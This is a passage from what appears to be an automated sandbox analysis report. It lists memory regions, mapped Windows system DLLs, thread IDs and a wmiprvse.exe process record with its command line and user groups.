	          end_va = 0x239ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002390000"
	        filename = ""

Region:
	              id = 2722
	        start_va = 0x2450000
	          end_va = 0x248ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002450000"
	        filename = ""

Region:
	              id = 2723
	        start_va = 0x2490000
	          end_va = 0x24cffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002490000"
	        filename = ""

Region:
	              id = 2724
	        start_va = 0x2d20000
	          end_va = 0x2d9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d20000"
	        filename = ""

Region:
	              id = 2725
	        start_va = 0x3050000
	          end_va = 0x310ffff
	     entry_point = 0x3050000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2726
	        start_va = 0x3880000
	          end_va = 0x38fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003880000"
	        filename = ""

Region:
	              id = 2727
	        start_va = 0x3c10000
	          end_va = 0x3d0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003c10000"
	        filename = ""

Region:
	              id = 2728
	        start_va = 0x3d40000
	          end_va = 0x3dbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d40000"
	        filename = ""

Region:
	              id = 2729
	        start_va = 0x4320000
	          end_va = 0x441ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004320000"
	        filename = ""

Region:
	              id = 2730
	        start_va = 0x4420000
	          end_va = 0x451ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004420000"
	        filename = ""

Region:
	              id = 2731
	        start_va = 0x4520000
	          end_va = 0x461ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004520000"
	        filename = ""

Region:
	              id = 2732
	        start_va = 0x4620000
	          end_va = 0x471ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004620000"
	        filename = ""

Region:
	              id = 2733
	        start_va = 0x4720000
	          end_va = 0x481ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004720000"
	        filename = ""

Region:
	              id = 2734
	        start_va = 0x4820000
	          end_va = 0x581ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004820000"
	        filename = ""

Region:
	              id = 2735
	        start_va = 0x7fef6960000
	          end_va = 0x7fef6b33fff
	     entry_point = 0x7fef6960000
	     region_type = mapped_file
	            name = "msxml3.dll"
	        filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll")

Region:
	              id = 2736
	        start_va = 0x7fffff7a000
	          end_va = 0x7fffff7bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7a000"
	        filename = ""

Region:
	              id = 2737
	        start_va = 0x7fffff7c000
	          end_va = 0x7fffff7dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7c000"
	        filename = ""

Region:
	              id = 2738
	        start_va = 0xba0000
	          end_va = 0xba0fff
	     entry_point = 0xba0000
	     region_type = mapped_file
	            name = "msxml3r.dll"
	        filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll")

Region:
	              id = 2739
	        start_va = 0xbb0000
	          end_va = 0xbcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000bb0000"
	        filename = ""

Region:
	              id = 2740
	        start_va = 0x2e30000
	          end_va = 0x2eaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e30000"
	        filename = ""

Region:
	              id = 2741
	        start_va = 0x3220000
	          end_va = 0x329ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003220000"
	        filename = ""

Region:
	              id = 2742
	        start_va = 0x5960000
	          end_va = 0x59dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005960000"
	        filename = ""

Region:
	              id = 2743
	        start_va = 0x59e0000
	          end_va = 0x5ddffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000059e0000"
	        filename = ""

Region:
	              id = 2744
	        start_va = 0x7fef9550000
	          end_va = 0x7fef95cbfff
	     entry_point = 0x7fef9550000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")

Region:
	              id = 2745
	        start_va = 0xbd0000
	          end_va = 0xbd2fff
	     entry_point = 0xbd0000
	     region_type = mapped_file
	            name = "wuaueng.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui")

Region:
	              id = 2746
	        start_va = 0x5f00000
	          end_va = 0x5f7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005f00000"
	        filename = ""

Region:
	              id = 2747
	        start_va = 0x7fefb220000
	          end_va = 0x7fefb22efff
	     entry_point = 0x7fefb220000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")


Thread:
	id = 156
	os_tid = 0x78c


Thread:
	id = 157
	os_tid = 0x784


Thread:
	id = 158
	os_tid = 0x77c


Thread:
	id = 159
	os_tid = 0x778


Thread:
	id = 160
	os_tid = 0x774


Thread:
	id = 161
	os_tid = 0x768


Thread:
	id = 162
	os_tid = 0x70c


Thread:
	id = 163
	os_tid = 0x708


Thread:
	id = 164
	os_tid = 0x704


Thread:
	id = 165
	os_tid = 0x700


Thread:
	id = 166
	os_tid = 0x6fc


Thread:
	id = 167
	os_tid = 0x6f8


Thread:
	id = 168
	os_tid = 0x6f4


Thread:
	id = 169
	os_tid = 0x6f0


Thread:
	id = 170
	os_tid = 0x6ec


Thread:
	id = 171
	os_tid = 0x6e8


Thread:
	id = 172
	os_tid = 0x6b4


Thread:
	id = 173
	os_tid = 0x688


Thread:
	id = 174
	os_tid = 0x67c


Thread:
	id = 175
	os_tid = 0x678


Thread:
	id = 176
	os_tid = 0x670


Thread:
	id = 177
	os_tid = 0x664


Thread:
	id = 178
	os_tid = 0x2dc


Thread:
	id = 179
	os_tid = 0x210


Thread:
	id = 180
	os_tid = 0x618


Thread:
	id = 181
	os_tid = 0x5e4


Thread:
	id = 182
	os_tid = 0x488


Thread:
	id = 183
	os_tid = 0x448


Thread:
	id = 184
	os_tid = 0x434


Thread:
	id = 185
	os_tid = 0x420


Thread:
	id = 186
	os_tid = 0x40c


Thread:
	id = 187
	os_tid = 0x37c


Thread:
	id = 188
	os_tid = 0x130


Thread:
	id = 189
	os_tid = 0x13c


Thread:
	id = 190
	os_tid = 0x3f4


Thread:
	id = 191
	os_tid = 0x3d0


Thread:
	id = 192
	os_tid = 0x3b0


Thread:
	id = 193
	os_tid = 0x3ac


Thread:
	id = 194
	os_tid = 0x360


Thread:
	id = 195
	os_tid = 0x35c


Thread:
	id = 196
	os_tid = 0x358


Thread:
	id = 197
	os_tid = 0x354


Thread:
	id = 198
	os_tid = 0x350


Thread:
	id = 199
	os_tid = 0x34c


Thread:
	id = 214
	os_tid = 0x640


Thread:
	id = 221
	os_tid = 0x674


Thread:
	id = 222
	os_tid = 0x66c


Thread:
	id = 226
	os_tid = 0x7c4


Thread:
	id = 228
	os_tid = 0x6e0


Thread:
	id = 229
	os_tid = 0x6dc


Thread:
	id = 230
	os_tid = 0x6d8


Thread:
	id = 231
	os_tid = 0x6bc


Thread:
	id = 232
	os_tid = 0x5ec


Thread:
	id = 233
	os_tid = 0x5fc


Thread:
	id = 234
	os_tid = 0x7ec


Thread:
	id = 235
	os_tid = 0x5f8


Thread:
	id = 236
	os_tid = 0x5e8


Thread:
	id = 237
	os_tid = 0x5f4


Thread:
	id = 239
	os_tid = 0x5d4


Thread:
	id = 240
	os_tid = 0x454


Thread:
	id = 241
	os_tid = 0x478


Thread:
	id = 242
	os_tid = 0x4cc


Thread:
	id = 243
	os_tid = 0x4e0


Thread:
	id = 244
	os_tid = 0x1b4


Thread:
	id = 245
	os_tid = 0x6ac


Thread:
	id = 246
	os_tid = 0x64c


Thread:
	id = 247
	os_tid = 0x61c


Thread:
	id = 248
	os_tid = 0x684


Thread:
	id = 249
	os_tid = 0x6d0


Thread:
	id = 250
	os_tid = 0x6b4


Thread:
	id = 251
	os_tid = 0x508


Thread:
	id = 252
	os_tid = 0x704


Thread:
	id = 253
	os_tid = 0x1fc


Thread:
	id = 254
	os_tid = 0x2e0


Thread:
	id = 255
	os_tid = 0x13c


Thread:
	id = 265
	os_tid = 0x768


Thread:
	id = 266
	os_tid = 0x78c


Thread:
	id = 267
	os_tid = 0x74c


Thread:
	id = 274
	os_tid = 0xa8


Thread:
	id = 275
	os_tid = 0x610


Thread:
	id = 284
	os_tid = 0x5f8


Thread:
	id = 306
	os_tid = 0x6d8


Thread:
	id = 307
	os_tid = 0x6e0


Thread:
	id = 308
	os_tid = 0x6dc


Thread:
	id = 309
	os_tid = 0x5ec


Thread:
	id = 315
	os_tid = 0x4e0


Thread:
	id = 318
	os_tid = 0x304


Thread:
	id = 321
	os_tid = 0x220


Thread:
	id = 322
	os_tid = 0x13c


Thread:
	id = 324
	os_tid = 0x7b4


Thread:
	id = 326
	os_tid = 0x5e8


Thread:
	id = 327
	os_tid = 0x3cc


Process:
	id = "11"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0xa0e6000"
	os_pid = "0x2ec"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "10"
	os_parent_pid = "0x348"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00026760" [0xc000000f]

Region:
	              id = 2454
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2455
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 2456
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2457
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2458
	        start_va = 0x50000
	          end_va = 0x50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 2459
	        start_va = 0x60000
	          end_va = 0x66fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 2460
	        start_va = 0x70000
	          end_va = 0x71fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 2461
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000080000"
	        filename = ""

Region:
	              id = 2462
	        start_va = 0x90000
	          end_va = 0x10ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 2463
	        start_va = 0x110000
	          end_va = 0x176fff
	     entry_point = 0x110000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2464
	        start_va = 0x180000
	          end_va = 0x27ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 2465
	        start_va = 0x280000
	          end_va = 0x280fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000280000"
	        filename = ""

Region:
	              id = 2466
	        start_va = 0x290000
	          end_va = 0x290fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000290000"
	        filename = ""

Region:
	              id = 2467
	        start_va = 0x2a0000
	          end_va = 0x39ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002a0000"
	        filename = ""

Region:
	              id = 2468
	        start_va = 0x3a0000
	          end_va = 0x527fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003a0000"
	        filename = ""

Region:
	              id = 2469
	        start_va = 0x590000
	          end_va = 0x59ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000590000"
	        filename = ""

Region:
	              id = 2470
	        start_va = 0x5a0000
	          end_va = 0x720fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005a0000"
	        filename = ""

Region:
	              id = 2471
	        start_va = 0x730000
	          end_va = 0x7effff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000730000"
	        filename = ""

Region:
	              id = 2472
	        start_va = 0x7f0000
	          end_va = 0x8effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007f0000"
	        filename = ""

Region:
	              id = 2473
	        start_va = 0x930000
	          end_va = 0x9affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000930000"
	        filename = ""

Region:
	              id = 2474
	        start_va = 0x9b0000
	          end_va = 0xc7efff
	     entry_point = 0x9b0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2475
	        start_va = 0xc80000
	          end_va = 0x1072fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c80000"
	        filename = ""

Region:
	              id = 2476
	        start_va = 0x10c0000
	          end_va = 0x113ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000010c0000"
	        filename = ""

Region:
	              id = 2477
	        start_va = 0x11a0000
	          end_va = 0x121ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011a0000"
	        filename = ""

Region:
	              id = 2478
	        start_va = 0x12d0000
	          end_va = 0x134ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000012d0000"
	        filename = ""

Region:
	              id = 2479
	        start_va = 0x1400000
	          end_va = 0x147ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001400000"
	        filename = ""

Region:
	              id = 2480
	        start_va = 0x14c0000
	          end_va = 0x153ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014c0000"
	        filename = ""

Region:
	              id = 2481
	        start_va = 0x1620000
	          end_va = 0x169ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001620000"
	        filename = ""

Region:
	              id = 2482
	        start_va = 0x76e30000
	          end_va = 0x76f29fff
	     entry_point = 0x76e30000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2483
	        start_va = 0x76f30000
	          end_va = 0x7704efff
	     entry_point = 0x76f30000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2484
	        start_va = 0x77050000
	          end_va = 0x771f8fff
	     entry_point = 0x77050000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2485
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2486
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2487
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2488
	        start_va = 0xff1d0000
	          end_va = 0xff22efff
	     entry_point = 0xff1d0000
	     region_type = mapped_file
	            name = "wmiprvse.exe"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe")

Region:
	              id = 2489
	        start_va = 0x7fef8320000
	          end_va = 0x7fef8333fff
	     entry_point = 0x7fef8320000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2490
	        start_va = 0x7fef84e0000
	          end_va = 0x7fef84f5fff
	     entry_point = 0x7fef84e0000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 2491
	        start_va = 0x7fef8660000
	          end_va = 0x7fef8686fff
	     entry_point = 0x7fef8660000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 2492
	        start_va = 0x7fef8690000
	          end_va = 0x7fef8771fff
	     entry_point = 0x7fef8690000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2493
	        start_va = 0x7fef8860000
	          end_va = 0x7fef88e5fff
	     entry_point = 0x7fef8860000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2494
	        start_va = 0x7fefaf40000
	          end_va = 0x7fefaf6cfff
	     entry_point = 0x7fefaf40000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2495
	        start_va = 0x7fefb220000
	          end_va = 0x7fefb22efff
	     entry_point = 0x7fefb220000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2496
	        start_va = 0x7fefc590000
	          end_va = 0x7fefc5d6fff
	     entry_point = 0x7fefc590000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2497
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc8a6fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2498
	        start_va = 0x7fefce90000
	          end_va = 0x7fefce9efff
	     entry_point = 0x7fefce90000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2499
	        start_va = 0x7fefcf80000
	          end_va = 0x7fefcf93fff
	     entry_point = 0x7fefcf80000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2500
	        start_va = 0x7fefd0f0000
	          end_va = 0x7fefd15afff
	     entry_point = 0x7fefd0f0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2501
	        start_va = 0x7fefd370000
	          end_va = 0x7fefd38efff
	     entry_point = 0x7fefd370000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2502
	        start_va = 0x7fefd430000
	          end_va = 0x7fefd43dfff
	     entry_point = 0x7fefd430000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2503
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd4d8fff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2504
	        start_va = 0x7fefd4e0000
	          end_va = 0x7fefd546fff
	     entry_point = 0x7fefd4e0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2505
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd882fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2506
	        start_va = 0x7fefd890000
	          end_va = 0x7fefd8dcfff
	     entry_point = 0x7fefd890000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2507
	        start_va = 0x7fefd8e0000
	          end_va = 0x7fefda0cfff
	     entry_point = 0x7fefd8e0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2508
	        start_va = 0x7fefda10000
	          end_va = 0x7fefdad8fff
	     entry_point = 0x7fefda10000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2509
	        start_va = 0x7fefdae0000
	          end_va = 0x7fefdae7fff
	     entry_point = 0x7fefdae0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2510
	        start_va = 0x7fefdc70000
	          end_va = 0x7fefdd46fff
	     entry_point = 0x7fefdc70000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2511
	        start_va = 0x7fefdd50000
	          end_va = 0x7fefde58fff
	     entry_point = 0x7fefdd50000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2512
	        start_va = 0x7fefee70000
	          end_va = 0x7fefef0efff
	     entry_point = 0x7fefee70000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2513
	        start_va = 0x7fefef10000
	          end_va = 0x7fefefeafff
	     entry_point = 0x7fefef10000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2514
	        start_va = 0x7feff070000
	          end_va = 0x7feff09dfff
	     entry_point = 0x7feff070000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2515
	        start_va = 0x7feff300000
	          end_va = 0x7feff351fff
	     entry_point = 0x7feff300000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2516
	        start_va = 0x7feff370000
	          end_va = 0x7feff370fff
	     entry_point = 0x7feff370000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2517
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2518
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2519
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2520
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 2521
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 2522
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2523
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2524
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2525
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2526
	        start_va = 0x7fef80a0000
	          end_va = 0x7fef80c5fff
	     entry_point = 0x7fef80a0000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 2527
	        start_va = 0x7fef6940000
	          end_va = 0x7fef6b39fff
	     entry_point = 0x7fef6940000
	     region_type = mapped_file
	            name = "cimwin32.dll"
	        filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll")

Region:
	              id = 2528
	        start_va = 0x7fef87a0000
	          end_va = 0x7fef87ebfff
	     entry_point = 0x7fef87a0000
	     region_type = mapped_file
	            name = "framedynos.dll"
	        filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll")

Region:
	              id = 2529
	        start_va = 0x7fefb320000
	          end_va = 0x7fefb330fff
	     entry_point = 0x7fefb320000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 2530
	        start_va = 0x7fefce60000
	          end_va = 0x7fefce84fff
	     entry_point = 0x7fefce60000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2552
	        start_va = 0x530000
	          end_va = 0x531fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000530000"
	        filename = ""

Region:
	              id = 2553
	        start_va = 0x1220000
	          end_va = 0x129ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001220000"
	        filename = ""

Region:
	              id = 2554
	        start_va = 0x16a0000
	          end_va = 0x19e2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000016a0000"
	        filename = ""

Region:
	              id = 2555
	        start_va = 0x73b10000
	          end_va = 0x73b12fff
	     entry_point = 0x73b10000
	     region_type = mapped_file
	            name = "wmi.dll"
	        filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll")

Region:
	              id = 2556
	        start_va = 0x7fef9170000
	          end_va = 0x7fef917afff
	     entry_point = 0x7fef9170000
	     region_type = mapped_file
	            name = "perfos.dll"
	        filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll")

Region:
	              id = 2557
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""


Thread:
	id = 200
	os_tid = 0x5bc


Thread:
	id = 201
	os_tid = 0x5dc


Thread:
	id = 202
	os_tid = 0x608


Thread:
	id = 203
	os_tid = 0x2e0


Thread:
	id = 204
	os_tid = 0x2e4


Thread:
	id = 205
